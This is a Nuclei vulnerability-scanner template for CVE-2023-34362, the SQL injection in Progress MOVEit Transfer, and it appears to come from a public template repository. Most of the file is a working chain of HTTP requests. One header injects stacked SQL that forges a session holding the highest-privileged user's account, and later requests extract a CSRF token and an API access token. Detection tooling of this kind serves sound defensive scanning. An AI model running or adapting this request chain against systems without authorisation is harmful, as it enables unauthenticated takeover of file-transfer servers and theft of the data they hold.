nuclei-templates/http/cves/2023/CVE-2023-34362.yaml

128 lines
5.3 KiB
YAML

id: CVE-2023-34362
info:
name: MOVEit Transfer - Remote Code Execution
author: princechaddha,rootxharsh,ritikchaddha,pdresearch
severity: critical
description: |
In Progress MOVEit Transfer before 2021.0.6 (13.0.6), 2021.1.4 (13.1.4), 2022.0.4 (14.0.4), 2022.1.5 (14.1.5), and 2023.0.1 (15.0.1), a SQL injection vulnerability has been found in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain access to MOVEit Transfer's database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database, and execute SQL statements that alter or delete database elements. NOTE: this is exploited in the wild in May and June 2023; exploitation of unpatched systems can occur via HTTP or HTTPS. All versions (e.g., 2020.0 and 2019x) before the five explicitly mentioned versions are affected, including older unsupported versions.
reference:
- https://github.com/horizon3ai/CVE-2023-34362
- https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/
- https://nvd.nist.gov/vuln/detail/CVE-2023-34362
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-34362
cwe-id: CWE-89
epss-score: 0.94054
cpe: cpe:2.3:a:progress:moveit_cloud:*:*:*:*:*:*:*:*
metadata:
max-request: 7
shodan-query: http.favicon.hash:989289239
verified: true
vendor: progress
product: moveit_cloud
tags: cve,cve2023,moveit,rce,sqli,intrusive,kev
variables:
sessioncookie: "{{randstr}}"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.26.0
Cookie: siLockLongTermInstID=0
- |
POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: {{Hostname}}
Ax-silock-transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar0: MyUsername: Guest
X-siLock-SessVar1: MyPkgAccessCode: 123
X-siLock-SessVar2: MyGuestEmailAddr: my_guest_email@example.com
Cookie: siLockLongTermInstID=0
- |
POST /guestaccess.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Cookie: siLockLongTermInstID=0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Arg06=123
- |
@Host: https://checkip.amazonaws.com
GET / HTTP/1.1
Host: checkip.amazonaws.com
- |
POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: */*
Ax-silock-transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar0: MyPkgID: 0
X-siLock-SessVar1: MyPkgSelfProvisionedRecips: SQL Injection'); INSERT INTO activesessions (SessionID) values ('{{sessioncookie}}');UPDATE activesessions SET Username=(select Username from users order by permission desc limit 1) WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET LoginName='test@test.com' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET RealName='test@test.com' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET InstId='1234' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET IpAddress='{{ips}}' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET LastTouch='2099-06-10 09:30:00' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET DMZInterface='10' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET Timeout='60' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET ResilNode='10' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET AcctReady='1' WHERE SessionID='{{sessioncookie}}'; -- asdf
Cookie: siLockLongTermInstID=0
Content-Length: 0
- |
POST /guestaccess.aspx HTTP/1.1
Host: {{Hostname}}
Cookie: siLockLongTermInstID=0
Content-Type: application/x-www-form-urlencoded
CsrfToken={{csrf}}&transaction=secmsgpost&Arg01=email_subject&Arg04=email_body&Arg06=123&Arg05=send&Arg08=email%40example.com&Arg09=attachment_list
- |
POST /api/v1/auth/token HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId={{sessioncookie}}
Content-Type: application/x-www-form-urlencoded
grant_type=session&username=x&password=x
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body_7
words:
- '{"access_token":'
- type: word
part: header_7
words:
- application/json
- type: status
status:
- 200
extractors:
- type: regex
name: ips
regex:
- '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
internal: true
- type: regex
name: csrf
group: 1
regex:
- 'name="csrftoken" value="(\w+)">'
internal: true
part: body
- type: regex
name: access_token
group: 1
regex:
- '"access_token":"([^"]+)"'
part: body